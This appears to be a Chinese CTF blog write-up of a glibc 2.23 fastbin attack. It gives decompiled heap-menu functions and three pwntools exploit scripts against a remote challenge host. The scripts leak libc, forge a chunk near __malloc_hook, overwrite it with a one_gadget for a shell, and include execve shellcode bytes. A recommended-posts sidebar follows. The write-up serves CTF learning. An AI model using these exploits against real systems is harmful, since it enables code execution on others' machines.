PWN-fastbin attack

[pwn]堆:fastbin attack详解 [pwn]fastbin attack 文章目录[pwn]fastbin attackfastbin attack原理double freeuse after freechunk extend需要注意的点:0ctf:babyheap fastbin attack原理 fastbin attack是利用fastbin分配原理的漏洞,利用要求是我们能够修改“已释放”堆块。通常情况下与double fr... 阅读详情

IDA

1.menu

2.ADD

unsigned __int64 add()
{
  unsigned int i; // [rsp+8h] [rbp-1018h]
  unsigned int v2; // [rsp+Ch] [rbp-1014h]
  char v3[4096]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(v3, 0, sizeof(v3));
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&ptr + i) )
    {
      v2 = i;
      break;
    }
  }
  if ( i == 11 )
  {
    puts("wrong");
    exit(0);
  }
  *(&ptr + v2) = malloc(0x60uLL);
  Size[v2] = 96;
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

3.EDIT

unsigned __int64 edit()
{
  int nbytes; // [rsp+0h] [rbp-10h] BYREF
  unsigned int nbytes_4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &nbytes_4);
  puts("Size:");
  __isoc99_scanf("%d", &nbytes);
  if ( nbytes <= 96 )
  {
    if ( *(&ptr + nbytes_4) )
    {
      puts("Content:");
      read(0, *(&ptr + nbytes_4), (unsigned int)nbytes);
    }
    else
    {
      puts("wrong");
    }
  }
  else
  {
    puts("wrong!");
  }
  return __readfsqword(0x28u) ^ v3;
}

无符号整型,整数溢出 

4.Show

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &v1);
  if ( *(&ptr + v1) )
    printf("Content: %s\n", (const char *)*(&ptr + v1));
  return __readfsqword(0x28u) ^ v2;
}

5.delete

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0xB )
  {
    puts("wrong");
    exit(0);
  }
  free(*(&ptr + v1));
  *(&ptr + v1) = 0LL;
  Size[v1] = 0;
  return __readfsqword(0x28u) ^ v2;
}

EXP

from pwn import *
#io=process("./pwn")
io=remote("106.54.163.94", 20017)
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")

def dbg():
	gdb.attach(io)
	pause()

def cmd(choice):
	io.recvuntil(">>")
	io.sendline(str(choice))

def add():
	cmd(1)

def delete(index):
	cmd(2)
	io.recvuntil("Index:")
	io.sendline(str(index))

def show(index):
	cmd(3)
	io.recvuntil("Index:")
	io.sendline(str(index))

def edit(index,size,content):
	cmd(4)
	io.recvuntil("Index:")
	io.sendline(str(index))
	io.recvuntil("Size:")
	io.sendline(str(size))
	io.recvuntil("Content:")
	io.send(content)

add()#0
add()#1
add()#2
add()#3
payload=b'A'*0x60+p64(0)+p64(0xe1)
edit(0,-1,payload)
delete(1)
add()#1
show(2)
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print('malloc_hook:'+hex(malloc_hook))
base=malloc_hook-libc.sym['__malloc_hook']
onegadget=base+0x4527a
delete(1)
edit(0,-1,b'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add()#1
add()#4
edit(4,-1,b'\x00'*0x13+p64(onegadget))
add()

io.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#io = process("./pwn")
io = remote("106.54.163.94", 20017)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add():
	io.sendlineafter(">> ", "1")

def delete(idx):
	io.sendlineafter(">> ", "2")
	io.sendlineafter("Index:", str(idx))

def show(idx):
	io.sendlineafter(">> ", "3")
	io.sendlineafter("Index:", str(idx))

def edit(idx, size, content):
	io.sendlineafter(">> ", "4")
	io.sendlineafter("Index:", str(idx))
	io.sendlineafter("Size:", str(size))
	io.sendlineafter("Content:", content)

def attach():
	gdb.attach(io)
	pause()

# leak libc_base
add()  #0
add()  #1
add()  #2
add()  #3

edit(0, -1, b'\x00'*0x68 + p64(0x70*2+1))
delete(1)
add()  #1
show(2)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 0x3c4b78
print("[+]libc base = " + str(hex(libc_base)))

malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23
sh = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

delete(1)
edit(0, -1, b'\x00'*0x68 + p64(0x71) + p64(fake_chunk))
add()  #1
add()  #4  fack_chunk
edit(4, 0x30, b'\x00'*0x13 + p64(libc_base + sh[1])) # modify
add()  #trigger
io.interactive()
#encoding = utf-8
from pwn import *
from LibcSearcher import * 

context(log_level = 'debug', os = 'linux', arch = 'amd64')

local = 3
if local == 1 :
	sh = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
    sh = process("./pwn")
else :
	sh = remote('106.54.163.94', 20017)

elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def dbg():
    gdb.attach(sh)
    pause()

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, value))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes

#------------------------------------------------------------------------------------------------------#

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

def add():      # malloc(0x60)
    sla('>> ', b'1')

def delete(idx):
    sla('>> ', b'2')
    sla('Index:', str(idx))

def show(idx):
    sla('>> ', b'3')
    sla('Index:', str(idx))

def edit(idx, size, content):
    sla('>> ', b'4')
    sla('Index:', str(idx))
    sla('Size:', str(size))
    sa('Content:', content)

add()   # 0
add()   # 1
add()   # 2
add()   # 3
add()   # 4
add()   # 5

pld = b'\x00' * 0x68 + p64(0x70 * 2 + 1)
edit(0, -1, pld)
delete(1)
add()   # 1
show(2)

libc_base = uu64() - 0x3c4b78
lg('libc_base')
ogg = libc_base + 0x4527a
malloc_hook = libc_base + libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x20 - 3
lg('malloc_hook')
lg('fake_chunk')

delete(4)
pld = b'\x00' * 0x68 + p64(0x71) + p64(fake_chunk)
edit(3, -1, pld)

add()   # 4
add()   # 6
pld = b'\x00' * (0x10 + 3) + p64(ogg)
edit(6, -1, pld)
# dbg()
add()

sh.interactive()

pwn 堆入门之fastbin attack 目录floworeo b站原本有一个对堆基础讲的挺好的,好像叫pwn术进阶的堆溢出,但刚刚去看已经没了,好家伙,还好我刚看完,哈哈哈。 flow 涅普计划-ctf入门课堆溢出 #!/usr/bin/env python2 from pwn import * context(os="linux", arch="amd64", log_level="debug") #libc libc=ELF("libc.so.6") malloc_libc=libc.symbols['__malloc_hook'] m 阅读详情

相关推荐

pwn工具箱之fastbin attack

fastbin attack基本信息 利用类型: 堆利用 堆利用类型: 针对fastbin的利用 利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址 利用难点 需要能够两次free同一个chunk 更改fd的时候,为了能够在之后的ma

jmp esp 2431

【我的 PWN 学习手札】Fastbin Attack

Fastbin Attack主要是利用了Fastbin单链表管理,如果能够利用UAF等漏洞,将Fastbin链表上的free chunk的fd写数据,即可实现任意地址分配,进而实现任意地址读写 本篇涉及到的保护机制只有一个:取出的fastbin chunk,size应该在对应取出的fastbin范围内 二、利用手法 (1)分配到任意地址(__malloc_hook周边) 通过修改free chunk的fd指针造成分配到任意地址, 需要满足size条件。通过任意地址写来利用getshell,劫持ho

Mr_Fmnwon的博客 1268

CTFHub pwn [FastBin Attack]

【代码】CTFHub pwn [FastBin Attack]

saulgoodman的博客 714

CTFshow-pwn143——house of force和UNLINK

这个题,算是彻底懂了HOF了(house of force)和unlink。

2401_88640181的博客 937

CTF Pwn入门:从零理解堆内存的分配与利用

本文深入浅出地介绍了CTF Pwn中堆内存的分配与利用技术,从基础的malloc实现到复杂的chunk结构解析,再到实战中的漏洞利用技巧。通过详细的代码示例和调试方法,帮助初学者快速掌握堆漏洞的利用原理,提升CTF竞赛中的实战能力。

weixin_42526353的博客 87

手把手教你做基于stm32的红外、语音、按键智能灯光控制(上)

这次项目使用的板子是stm32f103c8t6最小系统板,这个板子在tb上都能够买到,随便一个最小系统板都可以,== 注意在买最小系统板的时候需要买一个stlink下载器来下载程序。显示模块是使用的0.96英寸的OLED屏幕,注意是使用的IIC通信协议的OLED屏幕,不是使用SPI总线协议的。这次写的代码还顺便集成了检测温湿度的功能,所以要使用DHT11温湿度传感器,来采集温度。本文所设计的基于单片机的灯光控制系统主要由模式选择功能、手动模式和自动模式组成。LED灯自然就是要控制的部件了。

nbbskk的博客 6557

BUUCTF[PWN][fastbin attack]

在0x00000000006020E0-0x33处刚好有一个空间中存储着0x7f,可以将地址0x6020ad作为伪造堆,那么0x7f就是size字段的值了,只要我们申请的空间为。先申请三个堆,大小为0x68(实际分配的大小为0x7f),再释放掉heap2,利用heap2进行fastbin attack,实行任意地址申请堆(刚才找到的伪造堆)后面直接编辑heap0,就能将free的got表上的值,修改为system的plt。之所以不直接覆盖为system的got表是因为函数调用的过程,如果之前。

yjh_fnu_ltn的博客 1533

C语言—for循环打印矩形,正三角形,倒三角形,九九乘法,等腰三角形,倒着的等腰三角形(简易版代码)(重点考察for循环嵌套)

本章节教大家如何利用for循环打印正三角形,倒三角形,九九乘法表及等腰三角形(简易版代码)说明:1、循环语句的循环体内又包含另一个完整的循环结构,称为循环结构的嵌套。内嵌的循环语句中还可以再嵌套循环结构,这样就形成多重循环结构的嵌套。2、for 语句、while 语句和 do-while 语句都允许嵌套。三种循环语句可以相互嵌套。3、内层的循环语句必须完全被包含在外层的循环体中,不能发生交叉。

m0_63501145的博客 1695

CTF PWN堆利用实战:从Off-by-One到Fastbin Attack劫持__malloc_hook

堆内存管理是现代程序运行时的核心机制,负责动态分配和回收内存。其原理基于glibc的ptmalloc分配器,通过维护fastbin、unsorted bin等不同链表来管理空闲内存块。理解堆管理机制的技术价值在于,它不仅是性能优化的基础,更是安全攻防的关键战场。堆漏洞利用,如Use-After-Free(UAF)和off-by-one溢出,常出现在CTF PWN和真实世界漏洞中,攻击者通过精心构造的堆布局,可以篡改堆元数据,最终实现任意代码执行。本文以一道经典的CTF题目babyheap_0ctf_2017

weixin_30756499的博客 409

Unity插件UniWebView实战:UGUI动态调整内嵌网页尺寸与交互优化

本文详细解析了如何在Unity游戏中使用UniWebView插件实现内嵌网页的动态尺寸适配与深度交互。核心在于利用Reference Rect Transform属性,将网页窗口精准绑定至UGUI控件,并随其动态调整。文章进一步探讨了通过消息系统与JavaScript执行实现Unity与网页的双向通信,并提供了加载优化、过渡动画及事件拦截等实用技巧,助力开发者打造无缝、流畅的游戏内网页体验。

earth的博客 276

YOLOv11改进策略【小目标改进】| Shape-NWD:融合改进,结合Shape-IoU和NWD 更好地适应小目标特性

Bw−wgt2h−hgt2weight2Bweight2w−wgt​2h−hgt​2​其中weight2weight = 2weight2。

Limiiiing的博客 3051

【pwn】fastbin attack

1、0ctf2017-babyheap from pwn import * import sys binary = "./pwn" context.log_level = "debug" context.binary = binary context.arch = "amd64" elf = ELF(binary) local = 1 if local: p = process(binary) libc = elf.libc # p = process(binary, env=

weixin_43960998的博客 316

【Flutter 问题系列第 85 篇】Xcode 运行 Flutter 提示 The Dart VM Service was not discovered after 60 seconds.

在 Xcode 上运行 Flutter 时提示 `The Dart VM Service was not discovered after 60 seconds. This is taking much longer than expected...`,意思是 `60秒后未发现Dart虚拟机服务。这比预期的要长得多`

“Allen Su”的博客 2236

CTF Pwn实战:手把手教你利用fastbin attack漏洞(附0ctf babyheap详细解析)

本文详细解析了CTF Pwn中fastbin attack漏洞的利用方法,通过0ctf babyheap实例手把手教学,涵盖堆内存管理机制、漏洞利用链构建及高级绕过技巧。重点讲解如何通过double free和use after free实现任意地址写,最终劫持控制流获取shell,是堆漏洞利用的实战指南。

app77的博客 533

不加行也能填满:用 ABAP BDC 驯服 Table Control 滚动录制缺陷,批量维护供应商银行账户

摘要 本文探讨了在SAP ECC/S4HANA系统中处理供应商主数据时,Table Control控件带来的批量导入挑战。文章指出,银行账户维护界面中Table Control的滚动动作难以被录制工具捕捉,导致批量导入数据时仅能填充前5行。解决方案是通过BDC_OKCODE显式触发翻页(如=P+),并配合行号拼接(如(01)~(05))将数据写入不可见行。文中提供了完整的ABAP程序示例,展示了如何读取外部文件、动态生成BDCDATA、处理表格翻页逻辑,最终通过CALL TRANSACTION执行XK01事

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 272

微信小程序 - 详细解决map地图上使用自定义图标图片或自定义样式进行markers标记点,手机真机运行时安卓系统、苹果ios系统会出现不显示标记点的问题(大概率安卓正常显示标记点,但苹果就加载失败)

微信小程序,map,地图组件,安卓android,苹果ios,真机调试,marker,标记点,在地图上标记,突然就不显示白屏了没动代码,自定义标记点icon,label动态数字,小程序地图markers标记点显示不出来,微信小程序map组件,地图加载后marker标记点ios设备不显示,android正常显示,添加多个标记点。安卓能正常显示标记点图标,IOS设备不显示标记点图标,map地图白屏不显示标记,图标真机调试不显示,自定义图标,报错,页面白屏,不报错也不显示,无法加载,图片展示不出来,iconPat

✅ 精选推荐文章 5956

CTF(pwn) Fastbin Attack

Fastbin Attack Fastbin Double Free 其中linux中会有一个校验对于double free 即会判断当前 fastbin链表的头部,是否和当前释放的fastbin 是否是一样的,若是一样的话会报错 绕过方法是 释放时间隔一个堆块 连续释放的话会报错的 ...

半岛铁盒的博客 384

【GameFramework框架内置模块】6、实体(Entity)

实体Entity就是一个实体的基本单元,类似于Unity的GameObject对象本体,然后这个本体上面附加其他各种各样组件,才能实现各种各样的功能。一般需要在游戏运行时动态加载的游戏对象,比如怪物、武器、子弹、特效,都需要给这个物体挂载一个实体Entity,这样的话就可以方便的对实例出来的对象进行管理。下面就来看一下如何使用吧。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 3137

CTF-PWN Noleak (unsortedbin attack+fastbin attack+malloc_hook)

漏洞简述 [*] '/home/supergate/Desktop/Pwn/timu' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Ha...

SuperGate的博客 1061

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain&#39;s apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath(&#39;DeepLearnToolbox&#39;));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand(&#39;state&#39;,0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W&#39;); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand(&#39;state&#39;,0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = &#39;sigm&#39;;%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, &#39;Too big error&#39;);```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand(&#39;state&#39;,0)sae = saesetup([784 100]);sae.ae{1}.activation_function = &#39;sigm&#39;;sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)&#39;)% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;;nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, &#39;Too big error&#39;);```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x&#39;,28,28,60000))/255;test_x = double(reshape(test_x&#39;,28,28,10000))/255;train_y = double(train_y&#39;);test_y = double(test_y&#39;);%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you&#39;ll get around 1.2% errorrand(&#39;state&#39;,0)cnn.layers = { struct(&#39;type&#39;, &#39;i&#39;) %input layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 6, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %sub sampling layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 12, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, &#39;Too big error&#39;);```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, &#39;Too big error&#39;);%% ex2 neural net with L2 weight decayrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex3 neural net with dropoutrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex4 neural net with sigmoid activation functionrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex5 plotting functionalityrand(&#39;state&#39;,0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = &#39;softmax&#39;; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand(&#39;state&#39;,0)nn = nnsetup([784 20 10]); nn.output = &#39;softmax&#39;; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

[pwn]堆:fastbin attack实战技巧与漏洞利用场景解析

本文深入解析了CTF pwn题中的fastbin attack堆漏洞利用技术。通过剖析fastbin单向链表机制,结合double free和use after free等常见漏洞,详细阐述了如何欺骗堆管理器以获取任意地址写权限。文章以修改__malloc_hook获取shell为例,提供了实战技巧与经典案例(如0ctf babyheap)的详细通关思路,是学习堆漏洞利用的实用指南。

ggg99的专栏 160

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

【PWN · House_Of_Orange | fastbin-attack】[CISCN 2024 初赛] orange_cat_diary

审计一下题目:经典菜单,edit,show,add,delete俱全嗯,啧啧,delete还有个UAF太明显,爽爽unsortedbin-leak-libc!——what!show只能一次,delete只能一次!!!救命。。。我该怎么做。比较惊险,磨了半天,学习house of orange然后利用,居然真的过了。那一刻的高兴至今难忘。

Mr_Fmnwon的博客 1594

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

堆漏洞利用技巧:从babyheap_0ctf_2017看fastbin attack的实战应用

本文以0ctf 2017的babyheap题目为例,深入解析fastbin attack技术在堆漏洞利用中的实战应用。通过分析堆管理机制、漏洞点识别和利用思路,详细展示了如何利用fastbin特性实现任意地址写入并最终劫持控制流,帮助安全研究人员深入理解堆漏洞利用技术。

weixin_29009339的博客 220

【PWN · heap | Off-By-Null | UAF | Fastbin-attack | Unsortedbin-leak | hook劫持】[攻防世界] babyheap

【攻防世界】的本题,所给libc版本错误,经过测试,版本为:libc6_2.23-0ubuntu9_amd64.so当然,本地调试玩玩,用glibc-all-in-one的2.23-0ubuntu3_amd64也是可以的。这题学到了很多知识点(主要是这些知识点整合应用在一起)离不开这些优秀的博客和大佬ha1vk攻防世界PWN之Babyheap(null off by one)题解PLpa、攻防世界(pwn)babyheap(一些常见的堆利用方法)攻防世界-babyheap解题思路-优快云博客。

Mr_Fmnwon的博客 975

02|Fastbin Attack 理论:size 校验与错位 chunk 构造

讲清 fastbin 的单链表结构,以及 fasttop 检查为什么只防"连着两次": 用 A-B-A 造环实现 double free,再改 fd 让 malloc 返回任意地址。 同时说明 malloc 的 size 校验为什么必须错位伪造,以及 2.26+ 要先填满 tcache。 附可运行 C 例子与 __malloc_hook 落点推导。

2501_93884468的博客 265

[hgame 2024 week4] crypto/pwn

half-gcd rsa p^q爆破, 爱德华兹曲线与椭圆曲线的映射,libc-2.23 off_by_one

weixin_52640415的博客 932

[BUUCTF]PWN——babyheap_0ctf_2017漏洞利用全解析:从堆溢出到getshell

本文详细解析了BUUCTF竞赛中babyheap_0ctf_2017题目的漏洞利用过程,从堆溢出到最终getshell的全流程。通过分析fastbin attack技术,展示了如何绕过Canary、NX、PIE等保护机制,实现libc地址泄露和__malloc_hook劫持,为PWN爱好者提供了堆利用的实战教程。

weixin_29012677的博客 261
上一篇: BUUCTF-PWN-pwnable_asm-Sandbox
下一篇: BUUCTF-not_the_same_3dsctf_2016
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值